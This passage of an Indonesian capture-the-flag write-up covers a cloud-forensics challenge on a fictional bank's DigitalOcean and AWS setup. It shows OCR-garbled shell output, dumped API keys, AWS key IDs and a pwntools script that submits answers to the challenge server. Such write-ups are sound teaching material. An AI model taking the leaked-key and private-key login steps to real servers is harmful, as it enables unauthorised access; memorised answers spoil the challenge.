directory on the DigitalOcean production server?

$ cd /var/ww/wijenbank/
$ 1s
hello.txt

$ mdSsum

$ md5sum hello.txt

€8c7209c7a87f99a1d11a53854808f1f - hello.txt

Nah di file yang no 7 kan kita dapet private key. Kita bisa pakek itu buat login ke
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DigitalOcean nya. File nya ada di /var/www/wijenbank.

10. How many non-default environment keys were set on the DigitalOcean production
server?

Dengan menggunakan command env, akan didapatkan 2 buah foreign env yang
terdapat dalam server.

stripe_key=sk_test u6SZoIOAg1Vz8JzsDmMgt6V9

mailgun_key=V0xVJyJg743RhUSqVPTD3iFvowX298wG
stripe_key=sk_test_u6SZ0I0Ag1Vz8JzsDmMgt6V9

2

Solusi

solver.py

from pwn import *
io = remote("103.145.226.92", 23456)

answers = ["AKIA453N4QOMCFGUPBPV",
"https://bp6lamux7k.execute-api.ap-northeast-1.amazonaws.com/list", "4",
"https://wijenbank-tokyo.s3.ap-northeast-1.amazonaws.com/",
"AKIA453N4QOMEIL32YW4", "PublicReadGetObject", "165.22.109.13" "deploy",
"c8c7209c7a87f99a1d11a53854808f1f"]

for answer in answers:
io.sendlineafter(b'Your answer: ', answer)

io.interactive()

Hasil
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python3 exploit.py
[+] Opening connection to 103.145.226.92 on port 23456: Done
/home/kali/exploit.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees
S

io.sendlineafter(b'Your answer: '
[*] Switching to interactive mode
Correct

, answer)

Congratulations! You have successfully completed the challenge.
NCW{ingin_menjadi_cloud_engineer_handal}
[*] Got EOF while reading in interactive

i |
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. See https://docs.pwntools.com/#byte
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